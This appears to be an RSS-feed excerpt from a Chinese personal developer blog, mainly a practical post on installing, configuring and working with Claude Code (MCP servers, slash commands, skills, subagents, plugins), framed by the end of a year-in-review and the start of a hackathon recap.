&lt;p&gt;工作：终于迈出了自己的第一步。从最开始在 xiaolab 和子一学长一起学东西，开发一些小玩意儿。再到最后准备简历投递面试，这真的非常耗费精力，尤其是伴随着期末周的面试，常常会让我倍感压力，和当初高考前的失眠非常相似，甚至 2025.12.31 的早上我都还在面腾讯...所幸结果本身是不错的，我也即将开始我的第一份实习生活啦，终于可以摆脱学校内无趣的课程，算是一个阶段性的成功吧。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不过呢，也不是所有方面都有成长，比如在爱情上依旧没有取得什么进展，甚至开了倒车，这与我自身的性格缺陷有关，所以大概很长一段时间不会再谈恋爱了。&lt;/p&gt;
&lt;p&gt;2026 会有什么成长呢？&lt;/p&gt;
&lt;p&gt;从我目前的估计来看，至少面试会面到麻木...无论是暑期实习还是秋招，都得投递不少家公司面不少企业。应该可以提前预定明年的年终总结关键词...&lt;/p&gt;
&lt;h2&gt;明年?：&lt;/h2&gt;
&lt;p&gt;在写这篇年度总结时，由于我的想法太过跳跃，难以组织成连贯的逻辑，导致我一度拖延这篇总结真的到了 2026，不过这也无所谓啦，有谁规定年度总结一定要在年末写完吗 : )&lt;/p&gt;
&lt;p&gt;参考了极客死亡计划的&lt;a href=&quot;https://www.geedea.pro/posts/almanac/2025-wrapped/#06--f%C4%ABnis&quot;&gt;年终总结&lt;/a&gt;，为了让明年的我写年度总结（现在是今年）时更容易找到方向，而不是满脑子胡思乱想的想到哪儿写到哪儿，每次重新捡起来写作时又要重新整理思绪，于是我在这里也对未来的我提几个问题，希望可以用今年一年的经历来回答这几个问题。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;你今年有链接到更多有趣的灵魂吗，如果有，他/她们为什么会让你觉得有趣呢？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你是否对这句话有了新的理解？&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;“死亡、自由、孤独和无意义。个体与这些生命真相的正面交锋，构成了存在主义动力性冲突的内容。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;
&lt;p&gt;你今年的好奇心又引领你做了些什么事情？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;你对于你今年秋招的结果满意吗？&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在大学的尾声，你对于大学生活有什么感想想告诉大家的吗？&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;写来写去，将年终总结写成了推荐，总感觉差了点东西，不过就这样吧。&lt;/p&gt;
&lt;p&gt;一如既往，祝看我博客的各位新年快乐！&lt;/p&gt;
&lt;p&gt;预祝大家明年能实现自己心中的愿望！&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;往年总结：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://cry4o4n0tfound.cn/blog/Memos%200%3A%E5%92%8C%E5%BA%94%E8%AF%95%E6%95%99%E8%82%B2say-good-bye&quot;&gt;2024：和应试教育say-good-bye&lt;/a&gt;（实际上并非总结）&lt;/p&gt;</content:encoded><category>浮生札记</category></item><item><title>我如何使用 Claude Code</title><link>https://cry4o4n0tfound.cn/blog/%E6%88%91%E7%9A%84claude-code-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%A1%88/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/%E6%88%91%E7%9A%84claude-code-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%A1%88/</guid><description>我的 Claude code 使用方案</description><pubDate>Tue, 09 Dec 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;使用 Claude Code 有一段时间了，看到各式各样的营销号传出来的下载配置教学，但那些营销号往往没有真正的实战，只是简单的贴出常用的命令，也不知道效果到底如何，实在难以让人信服。&lt;/p&gt;
&lt;p&gt;除此之外，我也相信很多人看到各式各样的刷屏，但自己也没有具体去尝试过，所以我把我自己的一些配置和尝试分享出来～&lt;/p&gt;
&lt;p&gt;希望可以帮助大家也去体验 cc 这个好用的工具（至少在我的心里胜过慢吞吞的 codex）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/b28d535eb9104043be5dcfd0407079af.png&quot; alt=&quot;所以 claude code 也是螃蟹吗?&quot;&gt;&lt;/p&gt;
&lt;h2&gt;安装：&lt;/h2&gt;
&lt;p&gt;在 Claude Code 的官方 github 仓库即可&lt;a href=&quot;https://github.com/anthropics/claude-code&quot;&gt;下载&lt;/a&gt;，提供了 macos/Windows 的快速下载方式。&lt;/p&gt;
&lt;p&gt;如果你用 macos，那么使用 homebrew 即可一键下载：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install --cask claude-code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过有点好笑的是，Claude Code 本身并不是一个开源项目，这里的仓库只是提供了对应的一些 example 和 plugin。&lt;/p&gt;
&lt;p&gt;也不接受任何 PR，非常符合 A 厂一贯的作风。&lt;/p&gt;
&lt;h2&gt;配置：&lt;/h2&gt;
&lt;p&gt;我使用的是 Randy 老师开发的 &lt;a href=&quot;https://github.com/djyde/ccmate&quot;&gt;cc mate&lt;/a&gt; 来一键管理对应的配置，可以快速切换不同服务商提供的 Antrophic 式的 api，包括 kimi、zhipu 等。也有类似于 cc switch 这样的 web 端工具帮助切换配置，但就我个人的体验而言，我更喜欢 cc mate。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/82ac51f0aea8330ce057a00518184511.png&quot; alt=&quot;像看 github 提交图一样看 cc token😂&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于众所周知的原因，Claude Code 如果使用 Antrophic 官方的订阅，在你 ip 不够纯净的情况下很容易触发封号。（封号两次，已老实😇）&lt;/p&gt;
&lt;p&gt;所以我更推荐用月之暗面的 KFC（Kimi For Coding）来做试验。之前 kimi 还有一个和 kimi 对话的活动，最低可以砍到 1 元，可以去玩一玩提示词注入，或者单纯聊聊天也挺好玩。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/b38dace2999b13970c3f7f209689891b.png&quot; alt=&quot;可惜等我开投的时候已经关闭了。&quot;&gt;&lt;/p&gt;
&lt;p&gt;购买对应的订阅（记得及时取消，避免下次续订大出血），拿到对应的 key 后就可以准备配置了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/7e5818a46981c3d1af31d5150e4df7c5.png&quot; alt=&quot;填写配置&quot;&gt;&lt;/p&gt;
&lt;p&gt;上述红线划出的部分中，&lt;strong&gt;macos 只需要填 BASE_URL 和 API_KEY，但 Windows 上需要保证 auth_token 不为空&lt;/strong&gt;，我没有研究过具体的原因（猜测跟 PowerShell 和 cmd 本身环境有关），所以需要将 api_key 也填到 auth_token 上，不然 Claude Code 就会一直提醒你用 Antrophic 账号登录。&lt;/p&gt;
&lt;p&gt;对应的 mcp 配置和 cursor 或者其它 mcp 客户端基本是一致的，复制粘贴过来即可使用。&lt;/p&gt;
&lt;p&gt;下面我提供我自己平常会用到的 mcp server 配置。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;&quot;mcpServers&quot;: {
    &quot;context7&quot;: {
      &quot;url&quot;: &quot;https://mcp.context7.com/mcp&quot;
    },
    &quot;figma&quot;: {
      &quot;url&quot;: &quot;https://mcp.figma.com/mcp&quot;
    },
    &quot;github&quot;: {
      &quot;url&quot;: &quot;https://api.githubcopilot.com/mcp/&quot;,
      &quot;headers&quot;: {
        &quot;Authorization&quot;: &quot;Bearer Your Github Token&quot;
      }
    },
    &quot;shadcn&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;shadcn@latest&quot;,
        &quot;mcp&quot;
      ]
    },
    &quot;API 文档&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;apifox-mcp-server@latest&quot;,
        &quot;--project-id=&amp;#x3C;project-id&gt;&quot;
      ],
      &quot;env&quot;: {
        &quot;APIFOX_ACCESS_TOKEN&quot;: &quot;&amp;#x3C;access-token&gt;&quot;
      }
    },
    &quot;chrome-devtools&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;chrome-devtools-mcp@latest&quot;
      ]
    },
    &quot;postgres&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [
        &quot;-y&quot;,
        &quot;@modelcontextprotocol/server-postgres&quot;,
        &quot;postgresql: your dsn&quot;
      ]
    }
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置好之后就可以在任意一个终端上启用啦。&lt;/p&gt;
&lt;h2&gt;常用命令：&lt;/h2&gt;
&lt;p&gt;这里是一些常用命令，其实不用刻意去记，在 claude code 中输入的时候会有对应的联想。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/add-dir  #添加一个新的工作目录
/init     #使用代码库文档初始化一个新的CLAUDE.md文件，强烈建议使用
/clear    #清除对话历史并释放上下文，重新开始
/resume   #恢复之前的对话
/compact  #清除对话历史记录，但保留上下文中的摘要，会话过长时压缩
/exit     #或者quite，退出REPL，退出Claude Code命令行模型
/export   #将当前对话导出到文件或剪贴板
/mcp      #管理MCP服务器


/memory   #编辑Claude Code的记忆文件
/model    #为Claude Code设置AI模型
/vim      #在Vim模式

和普通编辑模式之间切换
 

/agents   #agent配置管理，可以创建智能体
/bashes   #列出并管理后台Bash Shell脚本
/bug      #提交关于Claude Code的反馈
/config   #打开配置面板，查看Claude Code的具体配置
/context  #查看当前上下文使用情况，并以彩色网格的形式进行可视化
/cost     #显示当前会话的总成本和持续时间
/doctor   #诊断并验证您的Claude Code安装和设置
/help     #显示帮助信息和可用命令
/hooks    #管理工具事件的钩子配置
/ide      #管理IDE集成并显示状态
/login    #切换Anthropic账户
/logout   #从您的Anthropic账户中注销
/review   #代码审查，智能分析审阅一个拉取请求
/status   #显示Claude Code状态，包括版本、模型、账户、API连接和工具状态
/upgrade  #升级至最高级别，以获得更高的速率限制和更多Opus

功能
/statusline          #设置Claude Code的状态行用户界面
/output-style        #直接设置输出样式或从选择菜单中设置
/output-style:new    #创建自定义输出样式
/pr-comments         #从GitHub拉取请求中获取评论
/release-notes       #查看发布说明
/migrate-installer   #将全局npm安装迁移到本地安装
/install-github-app  #为存储库设置 Claude GitHub Actions


/security-review     #对当前分支上待处理的更改进行安全审查
/terminal-setup      #为换行安装 Shift+Enter#键绑定
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后是一些常用的操作：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 添加记忆
# 添加记忆的 prompt

# 引用文件名进行对话
@+文件名
 
# 粘贴图片
control + v
 
# 换行
Option+Enter
 
# 在Claude Code命令行执行Bash命令，如 !ls -l
！+ Bash命令
 
# 上下键可以进行历史命令上下切换
↑/↓
 
# 中断Claude Code的执行 / 可跳转到之前的消息
Esc/Esc+Esc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;没有什么特别难记花哨的操作，我觉得比常用的一些小工具命令行参数好记多了，比如 ffmpeg...&lt;/p&gt;
&lt;p&gt;相比 ffmpeg 那种命令行地狱，这简直是为人类设计的工具。&lt;/p&gt;
&lt;p&gt;总而言之，稍微用一用就能记清楚。&lt;/p&gt;
&lt;p&gt;除此之外，Claude code 可以自己定义命令，其实就是将命令与对应的 prompt 作了个映射，你也可以在 cc mate 中配置具体的命令。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/81946b20c3a90b21442645b54708b7bb.png&quot; alt=&quot;自定义命令&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Skills &amp;#x26;&amp;#x26; Subagents：&lt;/h2&gt;
&lt;p&gt;Skill 和 Subagent 是我认为 Claude Code 相较于其它 Cli 好用的设计（不过似乎 CloseAI 也服软了，Codex 也支持 Skill 了）。&lt;/p&gt;
&lt;h4&gt;Skill:&lt;/h4&gt;
&lt;p&gt;用官方的&lt;a href=&quot;https://support.claude.com/en/articles/12512176-what-are-skills&quot;&gt;定义&lt;/a&gt;来讲:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;技能文件夹包含指令、脚本和资源，Claude 会动态加载这些文件夹来提升特定任务的执行效率。技能教会 Claude 如何以可重复的方式完成特定任务，例如按照公司品牌指南创建文档、使用组织特定的工作流程分析数据，或自动化个人任务。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;相较于本身加载在 Claude Code 上下文中 mcp 提供的工具，渐进式的加载会显得更省 token，使得我们从最开始的 system prompt 回归到了 file system，也就是文件系统本身的设计。&lt;/p&gt;
&lt;p&gt;事实上，这类设计很多，如果回忆起操作系统，你就会发现 Claude Code 最开始的设计更像是把工具放到了「内存」，而现在的 Skill 放在「文件系统」后，意味着我们向着多级页表这类思路迈进了一大步，反正如果太多，那我们就搞成索引的索引呗。&lt;/p&gt;
&lt;p&gt;正如我之前在&lt;a href=&quot;https://cry4o4n0tfound.cn/blog/%E4%BA%BA%E4%B8%8E%E5%A4%A7%E6%A8%A1%E5%9E%8B&quot;&gt;「人与大模型」&lt;/a&gt;中提到的，其实无论我们用什么，是官方 sdk 也好，还是 Eino、LangChain 这些进一步封装的框架，我们仅仅只是为了将&lt;strong&gt;上下文接龙做的更好&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;而对于 Agent 来说，直接加载 system prompt 的价值相对较低，渐进式调用会好很多。&lt;/p&gt;
&lt;p&gt;具体实践在下方的 github 上的 awesome 库部分。&lt;/p&gt;
&lt;h4&gt;Subagents:&lt;/h4&gt;
&lt;p&gt;方便切换的提示词模板，也只是提示词工程。但定义的 subagents 可以直接在提示词调用，从而又可以分割开上下文，让上下文再次翻倍，就是有点耗 token...&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/ddd8d31f0a22f5124118da693d634b37.png&quot; alt=&quot;身处后台默默奉献的 subagent&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以直接在命令中提到使用 xxx sub agents 的命令来做某件事情，这样主 agents 就会调用对应的子 agents 在后台工作了，然后使用 /tasks 列出后台正在工作的 agents。&lt;/p&gt;
&lt;p&gt;这个仓库中有很多不错的模板: &lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot;&gt;https://github.com/VoltAgent/awesome-claude-code-subagents&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Plugin 下载：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/98ed4793559c61149bf2e90346f4f602.png&quot; alt=&quot;配置 plugin&quot;&gt;&lt;/p&gt;
&lt;p&gt;注册对应的 skill 需要下载 plugin（实际上直接复制粘贴放进上下文效果也不错）&lt;/p&gt;
&lt;p&gt;我们可以使用以下命令，将 Github 注册为 Claude Code 的插件市场。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/plugin marketplace add anthropics/skills
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，可以看到的是也可以使用本地写的 Skill 来作为插件市场，这些都是可以的。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;甚至你可以使用 Skill-Writer 这类 Skill 来操控 Claude Code 写 Skill&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;注册完后就可以类似于 npm 一样的 install 了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/plugin install document-skills@anthropic-agent-skills
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;install skill 之后，你就可以在交互中指定 Claude 去 skill 文件夹中检索对应的 skill 来使用了。&lt;/p&gt;
&lt;h2&gt;我的一些个人实践：&lt;/h2&gt;
&lt;h3&gt;邪修做法：&lt;/h3&gt;
&lt;p&gt;实际上，这类 cli 工具，无论是 Claude Code 还是 Gemini cli，它们其实可以不开启交互式模式。也就是 -p ，直接将 prompt 作为参数输入，同时 cli 也会将返回值直接打印到终端标准输出上。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/094a48173d582ef1386ee5b6a612ce81.png&quot; alt=&quot;阴暗的想法&quot;&gt;&lt;/p&gt;
&lt;p&gt;于是我们可以在命令环节提供调用 gemini cli 的指导，让 Claude Code 调用 gemini cli ，而 gemini cli 受益于 Gemini 本身超长的上下文，于是在总结一个比较大的代码仓库的时候非常好用，可以节省下不少 token，而可以放在 Claude Code上的国产大模型，无论是智谱还是 kimi thinking，本身的上下文也谈不上特别多，这一点 token 节约还挺棒的，大善人 google 本身也为 gemini cli 提供了不错的免费额度。&lt;/p&gt;
&lt;p&gt;这其实也挺符合公司架构的😂，Claude Code 是我的下属，然后 gemini cli 又是 Claude Code 的实习生，脏活累活都给 Gemini 干了～&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;理论上来讲我还可以让 gemini-cli 再启动 claude code，就是不知道可以套多少层，也许无聊时可以实践一下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code 只需要负责思考，而 Gemini 考虑的就多了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;截止这篇文章写出来发表 12.10，google 已经收紧了免费额度了😭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;需要注意的是，信息传递注定带着失真，这就意味着让 gemini cli 总结出来的代码上下文肯定没有让 Claude Code 自己亲自读一遍更好。具体的取舍还得依据于实际项目，以及自身的需求。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;禁止❌：&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;绝对不要让 Claude Code 一上来就去上手复杂的业务逻辑，尤其是写的代码涉及到第三方文档的时候&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我在做 AreyouOk 的支付宝授权部分时，当时想着偷懒，一点也不想看支付宝那混乱不堪的文档。于是让 Claude Code 直接帮我生成了对应的代码。&lt;/p&gt;
&lt;p&gt;然后在联调的时候就出事了...对应的 api 接口早就遗弃了，不知道它从哪里抄来了过期的资料。&lt;/p&gt;
&lt;p&gt;由于模型的注意力是分散的，当涉及到过于复杂的业务逻辑，比如认证过程，尤其是蕴含多级复杂的认证时，我更倾向于在最开始和模型一起讨论整个业务的流程到底是怎样的，可以画一个时序图出来，有了时序图，自己亲自上手写代码也会轻松不少～&lt;/p&gt;
&lt;p&gt;建议优先使用 plan mode 规划，规划完你可以根据复杂度来选择是自己写还是直接交由 Claude Code。毕竟有些云厂商的文档真的跟迷宫一样😵‍💫。&lt;/p&gt;
&lt;h3&gt;github 上的 awesome 库：&lt;/h3&gt;
&lt;p&gt;其实对应的 awesome 库已经冒出来不少了，除了 Antrophic 官方的 github 仓库外，我还推荐以下几个：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-claude-code-subagents&quot;&gt;SubAgents&lt;/a&gt; ，顾名思义，提供了 SubAgents 的配置模板，我都是每次学新东西的时候先跑去抄一份提示词，一键复制到&lt;/p&gt;
&lt;p&gt;ccmate 上（忽略 minor_service 这种奇怪的名字，这里是丈育 cry）。这样在看 Claude Code 本身做对应操作时，有很大概率可以学到不错的实践经验，可以记录下他是如何做的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/91c53ee7e3af51cf709d6871a6fedb53.png&quot; alt=&quot;我的「员工」&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/anthropics/skills&quot;&gt;Skills&lt;/a&gt;， Antrophic 官方的 Skills 库，PaperHunter 的前端全依赖于里面的 &lt;a href=&quot;https://github.com/anthropics/skills/tree/main/skills/brand-guidelines&quot;&gt;brand-guidelines&lt;/a&gt; 设计。复刻了 Antrophic 官网的配色以及字体选择，选用类似于 gemini3-pro 这样的模型可以复刻的很接近。这肯定称不上有个性，但对于不怎么会写 css 的我来说，实用就够了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/d646663d4b83d2a8644639cf0f022892.png&quot; alt=&quot;PaperHunter 的新 ui&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/SuperClaude-Org/SuperClaude_Framework&quot;&gt;SuperClaude_Framework&lt;/a&gt;， Claude code 的配置框架，看起来挺有趣，可以直接一键配置很多东西，比如现有的 mcp，不过我还没有体验过，考虑等哪天闲下来再试一试这个框架。&lt;/p&gt;
&lt;h3&gt;特定的 Memory:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;需要理解的是，大模型大多时候只会做大众爱做的事情，因为它这方面「记忆最多」。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;举几个例子，用 python 一定用 pip 来下载，只知道用 npm，让它写一个前端大概率是 react 打底...&lt;/p&gt;
&lt;p&gt;所以配置一个属于你的 cc 就显得很重要，你应该在记忆中告诉它，你和大众的风格不太一样，你用的是 uv，用的是 pnpm，不要再用💩 next.js 了（本站当初就是这样被 ai 忽悠建起来的...）。&lt;/p&gt;
&lt;p&gt;这样设定好的记忆可以减少很多不必要的 token 消耗，以及本身使用 cc 的体验，减少你的口舌，同时降低 token 消耗，是两全其美的举措。&lt;/p&gt;
&lt;p&gt;之前在推特上看到的分享是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;把 Claude Code 当做你的个性化助手，而不是让其只是一个大众 agent&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以添加一些记忆，让它变成你的独有 agent 吧。&lt;/p&gt;
&lt;p&gt;这对于我也有一定的启发。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学习初始的时候，尤其在现有的 ai 合作开发时代，最开始知道的知识广度很重要，你如果知道一个东西的「最佳实践」（虽然可能并不存在最佳实践），那么你去指定 agent 来协助你做这件事的时候会轻松一些。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你只是简简单单对 Claude 说，帮我写一个网页，那么很可能得到的只是简单的 html，但你如果知道有别的框架，有更好的实践，那么你就知道指定 Claude code 去做什么事。&lt;/p&gt;
&lt;p&gt;我觉得用一句话来简单概括就是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们无法描述我们未知的东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这也是为什么依旧需要持续学习。你让一个资深工程师来使用 cc ，和我这种菜鸟工程师来使用 cc 肯定是不同的😂，同样的道理，在使用 cc 或者说 ai 方面，我觉得我也是胜过大多数普通人的。&lt;/p&gt;
&lt;h3&gt;如何用于后端学习：&lt;/h3&gt;
&lt;p&gt;大多数学习应该是类似的。&lt;/p&gt;
&lt;p&gt;但因为我目前正在学习后端开发，就简单聊聊我作为一个编程菜鸟，是如何把 Claude Code 这类 AI 工具融入后端学习与实践的。&lt;/p&gt;
&lt;h4&gt;API 文档：&lt;/h4&gt;
&lt;p&gt;我觉得应该没有做后端的人真正喜欢写文档。即便有 Swagger 或其他注解工具，写文档依旧是繁琐又容易拖延的。我的做法是：每当我完成一段功能并 commit 后，我会让 Claude Code 根据接口代码自动生成 API 文档，再由我人工审阅、补充细节。这样，一方面能保持文档与代码同步更新，另一方面也能帮我养成文档习惯，而不是最后一次性「补作业」，这样只会让我更不想写文档...&lt;/p&gt;
&lt;h4&gt;架构设计：&lt;/h4&gt;
&lt;p&gt;分布式架构设计绝对是后端学习中最难的一环，特别是数据一致性、服务拆分、幂等性这些概念。对于初学者来说，独立设计一个合理的架构几乎是不可能的，很多时候只能参考现成项目照猫画虎，这样导致了大家的项目都是千篇一律的苍穹外卖、黑马点评。&lt;/p&gt;
&lt;p&gt;这时候 Claude Code 的优势就体现出来了，以我在 AreYouOK 的实践为例，我会先说出自己的需求、已有技术栈以及未来扩展方向，AI 能给出几种成熟的架构方案，并且解释各自的权衡点。这样一来，即使我暂时还写不出高质量的设计，也能至少知道为什么要这么做，从“盲目模仿”变成“理解式实践”。了解一些可能的实践后，会比盲目的试错好很多。&lt;/p&gt;
&lt;h4&gt;Write-docs：&lt;/h4&gt;
&lt;p&gt;在做完一次 commit 之后，可以让 cc 对于现有的整个实现做一个总结，让他放到 agentdocs/ 目录下（或者其它什么你喜欢的目录），这样也可以节省下次 cc 阅读整个项目仓库的时间。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/81946b20c3a90b21442645b54708b7bb.png&quot; alt=&quot;Like this&quot;&gt;&lt;/p&gt;
&lt;h4&gt;最重要的：&lt;/h4&gt;
&lt;p&gt;最重要的是，学习的过程不要形成依赖路径，尽量将其用于辅助，用 cc 来指引自己的开发，而不是全权委托给 cc。其它方向的学习也是一样的。&lt;/p&gt;
&lt;h2&gt;关于 Vibe Coding 的思考：&lt;/h2&gt;
&lt;p&gt;不得不承认，Vibe Coding 的体验确实很爽。看着那些自己可能写不出来、或者暂时还不会写的代码，从大模型的一个个 token 里「蹦出来」，那种成就感很直接（尤其在 vibe 前端时最爽）。&lt;/p&gt;
&lt;p&gt;但我依旧认为，学习编程语言本身是重要且不可替代的。&lt;/p&gt;
&lt;p&gt;有人说，将来自然语言会成为真正的“编程语言”，人人都无需再学代码。&lt;/p&gt;
&lt;p&gt;这显然是不对的。&lt;/p&gt;
&lt;p&gt;回顾计算机的发展史，每一次「语言层级的进化」都从未让底层语言失去价值。相反，它们共同构成了更丰富繁荣的生态。JavaScript 之于 C++ 的抽象程度差距，可能就像 C++ 之于汇编一样，而自然语言不过是在这个抽象链条上新增的一环。&lt;/p&gt;
&lt;p&gt;JavaScript 活的好好的，C++ 也还没死（虽然我希望 rust 干掉它）。&lt;/p&gt;
&lt;p&gt;因此，大模型会改变编程，但不会让真正懂编程的人被淘汰，Coding 本身的乐趣，依旧需要进入心流模式的自己来享受。&lt;/p&gt;
&lt;h2&gt;文章推荐以及参考：&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.cosine.ren/post/my-claude-code-record-2&quot;&gt;我的 Claude Code 使用小记2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;www.humanlayer.dev/blog/writing-a-good-claude-md&quot;&gt;Write a good Claude.md&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://code.claude.com/docs/zh-CN/cli-reference&quot;&gt;Claude Code 官方文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;baoyu.io/translations/improving-frontend-design-through-skills&quot;&gt;借助 Skill 提升前端设计&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://baoyu.io/translations/context-engineering-part-of-ml&quot;&gt;上下文工程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.boot.dev/education/vibe-code-hell/&quot;&gt;I&apos;m In Vibe Coding Hell&lt;/a&gt;&lt;/p&gt;</content:encoded><category>工具</category></item><item><title>Memos 15:-两次黑客松</title><link>https://cry4o4n0tfound.cn/blog/memos-15-%E4%B8%A4%E6%AC%A1%E9%BB%91%E5%AE%A2%E6%9D%BE/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-15-%E4%B8%A4%E6%AC%A1%E9%BB%91%E5%AE%A2%E6%9D%BE/</guid><pubDate>Sun, 30 Nov 2025 20:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;两个月内，除了忙于学习和准备面试之外，我还参加了两场黑客松。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/11/26ab37bf07b2ab06d213bb61669c8ab8.jpg&quot; alt=&quot;第一次参加拿到的 bojour 卡片&quot;&gt;&lt;/p&gt;
&lt;p&gt;我想来谈一谈这两场黑客松给我的感受。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;潇湘黑客松：&lt;/h2&gt;
&lt;p&gt;参加潇湘黑客松源自于国庆节前 SkyWT 发来的一条消息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/11/fe68e726a8b8701da2683bd3185a6679.PNG&quot; alt=&quot;起因&quot;&gt;&lt;/p&gt;
&lt;p&gt;原本国庆节已经定好了回家的机票去处理一些事情，其实都不打算报名了，但中途出了些岔子，所以我最后改签了回长沙的机票，恰好能赶上这次黑客松，就拉着子一学长跑去参加了。&lt;/p&gt;
&lt;h3&gt;茶话会：&lt;/h3&gt;
&lt;p&gt;主办方在比赛前一天在「旅行者生活博物馆」（距离我租住的房子不到 1km）搞了一个茶话会，方便大家交流以及组队。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/11/b75f69d1d8c83f83dd2a423b2874beec.JPG&quot; alt=&quot;有趣的场地&quot;&gt;&lt;/p&gt;
&lt;p&gt;「旅行者生活博物馆」这个场地就很有趣（实际上是一个小酒馆）。场地里充满了复古的老物件装饰，和「文和友」那边的装修风格有点类似，除此之外，四处都散落着一些书籍，比如我在厕所里就看到了黑塞的 &lt;em&gt;悉达多&lt;/em&gt; 和&lt;em&gt;荒原狼&lt;/em&gt;😂。&lt;/p&gt;
